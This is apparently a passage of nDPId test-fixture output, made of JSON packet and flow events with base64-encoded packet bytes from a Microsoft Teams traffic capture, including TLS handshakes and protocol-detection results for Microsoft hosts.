+02369{"flow_id":6,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":675595,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXULqRAAG0G5k4ofgkFwKgBBgG77HaiQxrcpEtP4IAQBAWO9AAAAQEIClUAvgAwhJiBFgMDETsCAABVAwNemFWMNZVYex2YSZU9LbdZAUx9rp8YuH+uVxY28HEy\/yAOEgAAkYEekCKcZ298BeKay3uMYwkmrgdnVSpTaON5cMAwAAANABcAAP8BAAEAAAAAAAsAD40AD4oACcwwggnIMIIHsKADAgECAhN7AAL0+uu8c4DySSOTAAAAAvT6MA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgMTAeFw0xODA5MjQyMTQ5MzBaFw0yMDA5MjQyMTQ5MzBaMCsxKTAnBgNVBAMTIHN0YW1wMi5sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAg9uMC7tn8RKm9hx1Q+vclCmv2FS5644lZCwDqwzCYb8L0QUXObmurDTp9z7imH\/68rvf0\/+KpPvZzn8n+A1ECu6H51tc4jh4cund1rKWCEvaClslKP1O5XZfDppym7WFQSIHQp9LXW26FaTqarCYkxKrkm\/lTdJtaXF5\/C7ZRJIFVaL9dmL\/uMiooAbDLhN56zmBjGeB2V01oJAQhD\/q\/lznyyirBK2V2vQ7WyyX4O7R5ox9CbJ7fjHmVfu5B\/IGhKzckLb+kPv4Ou1DFiJ+VjXUg8+HNiqYybm516lzAMR9GTpDm\/EaK\/DoNiRmeP+V6xIxpVOXNmdtJ2yXkhn+AQIDAQABo4IFgjCCBX4wggH1BgorBgEEAdZ5AgQCBIIB5QSCAeEB3wB1AKS5CZC0GFgUh7sTosxncAo8NZgE+RvfuON3zQ7IDdwQAAABZg2YTSEAAAQDAEYwRAIgNf1dCr\/A\/68iTF44ctzG4dfYj5k8kwrcMxb+OAftshACIEOFf1L8DyVWvGmp2q28iEZd5RDO6L\/3eE60TQKPTKibAHcAVhQGmi\/XwuzT9eG9RLI+x0Z2ubyZEVzA75SYVdaJ0N0AAAFmDZhK0AAABAMASDBGAiEA6k0qgGOQ2\/4vWshsmYpY7DSpdiwLlTeFqoSnh81\/2Y4CIQDv1+L779lV6U+goVXZN5Lr8mJnM2dtvY1ZqBBLJZkaOwB1AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABZg2YSsoAAAQDAEYwRAIgWKBW8MG0XWRpOFEy6yhRlkRMXWMvZwn2MMfc6oSrj0gCIBftriorxFHUNkLYAHoFWkhm8hNqcHO+KKiAs49boZzUAHYAu9nfvB+KcbWTlCOXqpJ7RzhXlQqrUugakJZkNo4e0YUAAAFmDZhLTgAABAMARzBFAiAA3dU0fJfG9tq5Rc4+sUUH+XraMuPYSatYD6LC\/2\/zTAIhAJWqprUivm3Ca3RKEfcrJtar2nlcdcqed0u5OIHS\/4PYMCcGCSsGAQQBgjcVCgQaMBgwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwEwPgYJKwYBBAGCNxUHBDEwLwYnKwYBBAGCNxUIh9qGdYPu2QGCyYUbgbWeYYX062CBXYTS30KC55N6AgFkAgEdMIGFBggrBgEFBQcBAQR5MHcwUQYIKwYBBQUHMAKGRWh0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjAxLmNydDAiBggrBgEFBQcwAYYWaHR0cDovL29jc3AubXNvY3NwLmNvbTAdBgNVHQ4EFgQUiTQV2m224F\/j"} +00439{"flow_id":6,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":675637,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGR4fAqAEGKH4JBex2AbukS0\/gokMgfLAQD9wllQAAAQEICjCEmKFVAL4AAQEFCqJDJhyiQywc"} +02357{"flow_id":6,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":675836,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXULqVAAG0G5k0ofgkFwKgBBgG77HaiQyB8pEtP4IAQBAV5XgAAAQEIClUAvgAwhJiBi+Wbrav3bQpcZNAwCwYDVR0PBAQDAgSwMIIBJgYDVR0RBIIBHTCCARmCGWxvZ2luLm1pY3Jvc29mdG9ubGluZS5jb22CG2xvZ2luLm1pY3Jvc29mdG9ubGluZS1wLmNvbYIbbG9naW5leC5taWNyb3NvZnRvbmxpbmUuY29tghpsb2dpbjIubWljcm9zb2Z0b25saW5lLmNvbYIkc3RhbXAyLmxvZ2luLm1pY3Jvc29mdG9ubGluZS1pbnQuY29tgh1sb2dpbi5taWNyb3NvZnRvbmxpbmUtaW50LmNvbYIfbG9naW5leC5taWNyb3NvZnRvbmxpbmUtaW50LmNvbYIebG9naW4yLm1pY3Jvc29mdG9ubGluZS1pbnQuY29tgiBzdGFtcDIubG9naW4ubWljcm9zb2Z0b25saW5lLmNvbTCBrAYDVR0fBIGkMIGhMIGeoIGboIGYhktodHRwOi8vbXNjcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwMS5jcmyGSWh0dHA6Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwMS5jcmwwTQYDVR0gBEYwRDBCBgkrBgEEAYI3KgEwNTAzBggrBgEFBQcCARYnaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3BzMB8GA1UdIwQYMBaAFFiIn9bcnEgitxQ+\/4SI6OaF\/\/p9MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATANBgkqhkiG9w0BAQsFAAOCAgEARVCFDXaNOijZYnNGoRWvtuOpazT+6a5NhffPDEd8mw13I5P2ZjdjuwO0BCuAa0rcrb9Xsv2qMoirtQ46ssv7U4RUbJ2q644olWDdoDLw3u2IwAi4+it8uqFANVWf479pYNzQSRACICWvLYyZOXoCzSVgryqqt6S9JYKLV\/5cOCwnLGXIMXunQZDJ9OLbjk3hV+y1gACDA7qTWXqQxmgI9aFpumAbRwTxqZV913sHD\/Cf4ut1VrXdDHEcgGroOgboavAnBPF1buLwyr8dsFVfenl1cv4K6OyxBhOa\/qPQC3E1A4UNtSz4dz0swsNbngQZDrl3H9MqpMRswrpJ9jUAZ4uzcbjmByMFT7UrO5NyfE2e754OXgg0kzSG7F0aYPVW64WQaAN5alS554Apkxzpnhy4dbLpcc+qDxw4uZRbEMvvqiGy3Tzvw2N2ZlLhpfCA79zVH3D9QcugIgQY75KsamAAzOcbXq0zT0xKgmRKBpdzG5DeC2KsBbrTTak1bUSSPLjvYpHhgabRiV7OEik97n1Dth5jNj0APlNTe65xy1gwKh4ItrHo4sQMKfxY9NyTKSBVKN3poUeJpe9p2ArtCr\/ZmVWqTui7XFpZPfiQUHWHxyvx0VTPR40NEp\/NGn3Uw7Bd\/MS5F6AKZAjGFEeyvsfA2p3QKRyzfNkfQWM3fP8ABbgwggW0MIIEnKADAgECAhAIuHpQG76c2i0WTT45Ub9VMA0GCSqGSIb3DQEBCwUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTYwNTIwMTI1MTI4WhcNMjQwNTIwMTI1MTI4WjCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UE"} +00423{"flow_id":6,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":675868,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGR5PAqAEGKH4JBex2AbukS0\/gokMsHIAQD6PnBAAAAQEICjCEmKFVAL4A"} +00423{"flow_id":6,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":675897,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGR5PAqAEGKH4JBex2AbukS0\/gokMsHIAQEADmpwAAAQEICjCEmKFVAL4A"} +00597{"flow_id":6,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":699696,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"EBMx8Tl2KDc3AG3ICABFAACyAABAAEAGRxXAqAEGKH4JBex2AbukS0\/gokMsHIAYEAAHhAAAAQEICjCEmLhVAL4AFgMDAEYQAABCQQQP74ekfGdN7RlsIKxJMW\/Mq+2BmbW\/7thooJtpPdhFAXJRybFYYpNybjYDAprlNb7BJOhHI0JNyOl6DfP\/9SUTFAMDAAEBFgMDACgAAAAAAAAAAIThtGFHNQ+umo9GZEAGHfoPFZYiR2E7d8fH5weSTVVC"} +00492{"flow_id":6,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":729269,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"KDc3AG3IEBMx8Tl2CABFAABnLqhAAG0G67cofgkFwKgBBgG77HaiQywcpEtQXoAYBAQEbgAAAQEIClUAvjcwhJi4FAMDAAEBFgMDACgAAAAAAAAAAHANvoMH+9tmLzSa8LTfBzm9iSTK+Iyg6aq8izKwVC1V"} +02365{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":769788,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAG8e7AqAEGNHJNIex0AbuczSQzSaIxR4AQEADqKQAAAQEICjCEmPthBk1jFwMDQBgAAAAAAAAAAVkfdghZFn7EKrTllFW7HsImopwaU4grgSMVQ9Ln8qFbWiGKPmAEmfR8JlskLbsUstOIiA11CeyqpKw3y7eFcu4cr3fWBWF5a3MhVe\/qNNfyWDy5QD2e\/ZEtYoVJsEXAk\/u4zUG5JuKAUP+mHQ6miLNPfeaCeFAdX6eOWqUw\/e60W7tbVcQwA9+siW+1loHYZMDieP2+QUop2JdvGnqEul0ug8pAuR27fw8RwfKHTxcg10fjGvxpfiZcouuy\/Z57jOQxIlff9oul2kld6vdPQGtwoyWjc1UHnvPTg1yJePblTg5CahHTzrLsBQxpZrmyqKdvVb85s17DvC1KGz4MmwZUUWA4eT9wRmFHopDghoqcHG\/TEUkfn259GszahDaoDNR8OgZy8Q818o394BbboE8nAuPdWEprIyVVDWOF7dnLzpj8\/XR1PbJ9nhjWR0jGM1kOA\/4OTzxGuyglNZT7bHz+UBToU+UIUqEUmv79ueiLkumpRnyuyQioiqXqiExvwqapAYh0gRfE5rwyN1YKgjZ1S6ii0sVjhv304LHo2H0GaWkaTm3uMm96ue8TnP6zQ48ESJiZ1eq6bnNAzhiu\/gGA1WT2l5PIxoy3unMgoFe2mDMpi0BH3MP7JWF1N\/lm7VlqmE6Xw01KFWXDgCokZ60+uckebdZhnMGG\/TTMbCtmg5YFRQxHb2PCCRhBMTGjr\/LmmAg56y7IxinR\/rR4IcGtsawGo+UmBw\/8KklLJsV6nE9oxFbzQt6BAI4E00uKSTEDocctWaTbMtDyWdnog9mDE3YWHOdhvAba9bjNNA+H67B1lUyh903op51e73olekk8ly\/bdCK5N0acS5BLgBeAbydJTxWysj0Btrph1fw\/fEQc35Q4KShs2VktgCr2tqQMRfTezBI4YDMSCiihlgFvMb0CXxMkwG8\/1CGdkME4i9xQqqwyCEcRlfUVbd15eWz9TW8L3BdFxC1rSJaHjaCAkG8fnNsS+v6P\/xLtrgrq8y8HBfUAHiPDgwzqwCfoiDhB9hlCUonShmV0cWfqCXdW4L+gNSJcWndZSLwshj6EItxNX1Hr7TEmWMGCwatiCyOZiHMutTXIKiuWPEi0+s2043QIyMz+DgoAt3lmPScsBM6oDqTW++hMmfyofGU2QSRCgs7Q8voEuT7jPC564IIi2T17wgokC4rxLMBa4xSSpoj\/lYnLw0mR3TwT1jNQ7JJ\/+iNW+uZ+HUm8w7TvxbgQQQYcQ98FcfYRP+dmJ64ByZ2rQ1N72p9w7aBDPNjQKJ478xGSSKFmjLiNEqhKkFXREAidA8oqmMko9vNvjsAkotRjKmRbon0\/zAHocH32Pq7nogXTuUe53R2soxdSgvcTM6fReTUMf5YNCAqD3wom12vilzgS\/6OPV8UTie1wmsZheZpR6DnPoczhJZzzvst\/grCBPaeuAOQ1PRBp0fCsZKh3QQlc+rjPVR0FD\/Qb8IGBkUF4huRvbJVzkNszF2EL+RkvXhJbprXBncJJRjIISx2jUiJg57HcPcg1UZg6rOcWqafEFAyghPThgPc06l24tfmRM6\/F2g7EZp6S\/4USUUzJfscT7EEfit6a5\/cx\/sNNn56Mbw3e0soYaYHXbVyeygrGu9xdcE\/PIPgetT6G4EXxf79l8hokaNLJqOaX7Wgo9haYksVOYzj0E7yuDUHZbu+7JW0pewGxjcxp8wa\/A+qdZBGPA3PWdq6zSBGv3gg9dk\/lkrwIjE5u78KfYIeHNg7IBuuZCKzE\/vZOGS5pXCZRIXmlHk0S9C81njFOovyu4OGmGoZXok3hOnqUBn4ZgjIjoAoTT5i30p4sM7jCijhG5Kk80L2ElGVDWiPbYcM6YBy3G8ofyiHdFIeQUUiEg4j+PX1\/"} +02366{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":769794,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAG8e7AqAEGNHJNIex0AbuczSnHSaIxR4AQEABkowAAAQEICjCEmPthBk1jhetVSaOs0tVuOWSWMQt9KqsujxkAMKWHRi1WGPxJI63MiRm2Ue\/V7d2WwiTSqcWMmV4UGBaBicxHy0Im9BFzDU3NPUffzhyUjcoAONACL0EqIVjd+10VQxMJcbmvHrnp5weXg+CcMG4Dd8yFN0vKXme0TYB80DXsjBqDYndTE8W1CDaLM1Fpt7g3kwqwppOJOdACvhyvD2b0bMN+27J\/5sUsuwybgNukgyii8wUecNhmpO2zLmM263oF3M2iHh2\/a3cCaSw\/q2SexfQDUFSiocH3Sj5MTL3FTfyXCVuzyFn1Z9sMNr+h\/uZxr7J4\/pYPPENAalR9p8vwjUF2SKtKyjMUltBbm8nHX1gFhoaJG8levkK1PAM0uiA4kXxEoXQBLTw4HDO6eHj7U8HOYflNZXJWB15vmpaF61hrJnxjWHv7QqxOKL7yWyxSAWNT\/YDsPFOJOVeKEtJyKrHXmo89w7s5jTRmj24Jqykxq3HbONuc9m74lriHWyALwtB4+19pOt8Ofv42xsEzdzppNHnN6WleK1tM3E3VtreWlthU0885jovLDfKT5DtNDmGtGgEhYwoxYmwCEiuJFqFGi0X3Kbm92KzNxjf8IrFjBzIiqUO9PqXwbfUup9qhvG9KOVQOg0xBhMjV6bc7a3Uv70HipO0VLfK\/95Zn2\/0+Kt4kLPjyEsDh3x1+wI3KKHFxsgRTJB+roeShavaOcq6wUrIhIrWz9nDgJ45C7pgGliTQcFcll5A8leMbwk7nc3fEQvLuT+07WcS\/MtgsUTIfKSBZ5kKvSbKLebl2\/2hxHU5+8hr6ODuw0pGl5BJKPZXudUVDojF0y+t+wviklcVBYGSeutHjyxzaPsOV30d7+cE50ezVy4fF0AAOK6tztNR5ayL\/o7BJYQqcWztDcXoZhqgV19AAsJH5OXGjv\/5XuBfBdUtK+4D95P7Kv8Hvu\/e7hKaVHfFkNxX7rtQ5KlOzOTCC6VUt+j5OCYKlTcJyhMGyqDl4L7iIWLTqmlkA7hGU2tnY5HAzfxtElKR+kqelu\/FinQpzRcf3I\/dHsQFRPfLRahYBMfi3fDEBbIbUT9hXjYctI\/+cDAlN\/5hyfxhna4YcY\/dA0zq22Bdvt4HYS8mZD4xWp5AmjhYnWr1I9Tb+xPnSg0sPnW83DuQpqY2LCUA++RU\/oFYJAuTZHg1A+eFNULtjFJmKsbNp5VWsaTAGUs3RXIf7VtLQ83xCL7CyPOY7dY94\/Yil4+jd3kf46y6K9IH6YPzz4d1TXXvmX71YzDR94JcxRaRnaARqx7T\/M5BNw5bhFW6ees0i4OJNgphq1VaLc3xNeIkFY6+S0icOS5yTlqzLV6zZHXQnLJIwP6QbL+TjaCXYpbZqDEkPhCxZ22MJ1RILD0FpjJPJlDopx3HaGqXbUJmyoohvW1tLqcChXQPB0cIEcKpfHUoQzXH\/Bt5Ulfa\/aPlOx7YjBTNYrlqHP+uUCsRkSJDK5+jHrnzCN8XyStU70Shbp\/CV73lzd1PTqBYjnrv+NQUgOSroLFuXu8GUiUHz9XVwBs5hq0aN\/pXA6kMANc+EClVvxxF910l93c7wo71We89\/85YCbH\/H11hsYuGjoAucYB143swT+YbDm9IrvMjghO8iNg1T9V5414OnB+Zig+jXFJXc2rpyVkqp790PqfQiSZYXzKGwZmYwLIX7Y2J3lrgqCltjx5WPaKCTgZLmvqFbyJZD3BNuEFcBZ5dyfSEvI7e4bYBQ4HdpBAuGeXiBCvN27t0Ca0F\/GUQILX5M2a9bOsfJp4IFIffaALVfwVVAPzgLFtn\/+q5CC2YHe7L\/Wr6N91+wKfktrFQIBiJDAae0dpARr\/waXCgK8wLfWnNDGNhN42hH8i\/H3fo\/x2KGVF4zCYeIlOf7cLP3"} +02360{"flow_id":4,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041676,"pkt_ts_usec":769795,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAG8e7AqAEGNHJNIex0AbuczS9bSaIxR4AQEADpHQAAAQEICjCEmPthBk1jWylJT2di9X\/pvFaCQxDFYRfzWolRdIDirpYmnOjJmvqzpPA20taElVSIyDpXIMkWMyn3oIaYGIwhOLremdRsUNp03DOSE0Qkil1Xvh8ARZ6a7EKylJ2d4ApuGmBztqseHxfEpgUlKPxX+h84La9BtzmnLiV1VI2cd4IIlJXIRgf6HTDy8DS30120bXw6K0uBESHQptRN2v4yA9I59T66cF+0Z+nh9n+sakB1c72DZswss7Dh7v\/WCZb+eBEKyH+n\/x8sUQUDYzGJV5cl5ahTWtm5yB56D801VI\/QszB\/rBNLsiULlYwNVvoQTdZsKiYakVOJXYKUsJNeFxiNau427oWcIahwMsIScodPYS53RwRwBbAEwWWPDD6coxlJsPaubSPct1ohEFZRFPmW8O+mNBQpax9O80yYU44R44ErS3kxnzSmo2w+RxAAU\/LIEkHTk4DVIJK6yThlxB3YeuvbhDYOM35H2YrsxRKkgw6OgUIz9pwLgQt1dSiDHlyxCys0hX0mpGL83TQwpZTLeIq9MVr+JSUefh5SDekKs0YUgU0+0geu5seVlKUcYEdd4hglQrZKDRFK4qBkErbhpvA0AxhxjBoWN2AgqcluckgYk+lNTKgM0kjgFI8F7raGXad\/jjvl0gK7PQF4xM6meoFuwtX9cJfUDVpWK\/rumhjVcbtQkmneCqUVtIVSAedxj4FXFY8I5bo8imqKdHih9gQ5ZwwpJV1tsT7LhCaiIpvT7vMyUD4KcaDAF7p2xnADPcBuHSsNXrLG9uDl4bUd1T0MUqFO1g8qRnwCyrGTm6e9UN7ykFwU4R0BGEPawYjzh\/YQ2ekavMZOOVmPD3hGOXFTqU1U0sl8pg0+gu0MkYpZhgY2VdaczFI0oPb8R\/eBaagnOntSrO5v7xyypKaC+qpe64TRzODER1z1PmzPThGv\/9ExvpAsagEsYZYtdyusumABraQVkUhsqoiuz\/ib37K5ph5F8GUsC5oqpLSBXiJYXHAzxX92IzBk8AYM0HN7BGhHLfklyX8j4fS\/QxrvMgKSXkMTf6QyHF4Ajzl913VbtnjGcdfi+f8D\/IJtG4mRNdqfvq9BfForVSQzVA\/c1HCadO6UaMdDv4Aldr1jESpPG1abFiZpq7CH91kgOj6WssBpEPpg53VmyRO54j8fOEFIzh9k8h0saoSfjfjXw5PUCbuXwQQB8tRzuyC\/Nu1IlfBYOaZSglnORhQe8XHaVD9ih8DrKEwZCf1vm8RMsykUUpaRgFIDUyg5E8D8WlzM94CGTsO\/QWtvkfkNw5Iox2dSXUm\/ETbDP3Q5uV4EK9R9+3YaAZhy5io9dsYvoGQgoHfLfhY4cvk7bVFSZnFeKoogwZmPNWHDiZb0bupho9glsxFxXYmuVAsxHK2phdgA8YaCCSjbqMRniiK5ot2Igq80qEW8u\/sJvC74mt4SA\/TSPC9to4z1\/mHJAEArnfiB7Jr8x0a6mu716nNe47p4kf6eSHLDYQHjMHLa7YQsDkFsbsdOF30\/1HXco\/QAXF8XtxgcUi5Jbpr9LdPZ4JuilhHuTojmwbzMtwYqL73vydQSMuosglSqWr82hN9rOqy9Y3coVs3WxvJ9MWXZ2NRgiQo+8bmrLECoxVx04fRmKaS0XlQyqAplUvfegGyrrvXovMwkhEvINqjXa8uqe4+PEcIbVSefDh8nNA2ojdbDXU8Cau8T38os2eomn8l\/izzvZRbBjtMl8eEhO\/MQbam0kSKai2SoMTRaze2tqPCx+24ZvgsBPUIIZeaZv+ZgqU\/j47gUKPlJ2+71EpvVNg2H8zX5u6HWmBGagt751JdzJkUNimibD\/NgSmLL6diuWbN5pps7+HzI3Xsav5YeXqy2svA4hmCOgEa8UTnFur+fKdVdXlOv\/V54"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":153,"source":"teams.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1587041677042,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60535,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":153,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":42751,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG93bAqAEGNHJNIex3AbvbPWM6AAAAALAC\/\/\/8iwAAAgQFtAEDAwUBAQgKMISaAAAAAAAEAgAA"} +00433{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":156,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":88014,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8FwhAAGwGtHI0ck0hwKgBBgG77Hf6fNLR2z1jO6ASIACfvwAAAgQFoAEDAwgEAggKYRMfbzCEmgA="} +00421{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":88160,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIex3AbvbPWM7+nzS0oAQEAneQwAAAQEICjCEmixhEx9v"} +00703{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":88499,"pkt_caplen":272,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":272,"pkt_l4_len":238,"pkt":"EBMx8Tl2KDc3AG3ICABFAAECAABAAEAG9rTAqAEGNHJNIex3AbvbPWM7+nzS0oAYEAl+5wAAAQEICjCEmixhEx9vFgMBAMkBAADFAwM5dVF27rKLSF3ZLHW6jf6ecE8+y\/c\/MIkP9CtH6UUE1iAORwAAVmOWcPohT0niCo9N4puGGU7iW5AxxYvHQvC09wAewC\/AK8AwwCzMqcyowAnAE8AKwBQAnACdAC8ANQAKAQAAXv8BAAEAAAAAIwAhAAAebW9iaWxlLnBpcGUuYXJpYS5taWNyb3NvZnQuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEACwACAQAACgAIAAYAHQAXABg="} +00770{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":158,"source":"teams.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":4,"flow_first_seen":1587041677042,"flow_last_seen":1587041677088,"flow_tot_l4_data_len":354,"flow_min_l4_data_len":32,"flow_max_l4_data_len":238,"flow_avg_l4_data_len":88,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60535,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Microsoft","breed":"Safe","category":"Cloud"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobile.pipe.aria.microsoft.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +02363{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":159,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041677,"pkt_ts_usec":137230,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUFwlAAGwGrtk0ck0hwKgBBgG77Hf6fNLS2z1kCYAQBAVAOQAAAQEICmETH58whJosFgMDEGYCAABRAwNemFWNrPjx8U\/n2+1HOnhSXCpnALSFvyfXRw2ICUZrciDASAAAvuo5mSGLHTbLJlo\/aqiaHVmeYbbWtXIqS6QEP8AwAAAJABcAAP8BAAEACwAO3QAO2gAJHDCCCRgwggcAoAMCAQICExYACr2jKIomrOvxeF4AAAAKvaMwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2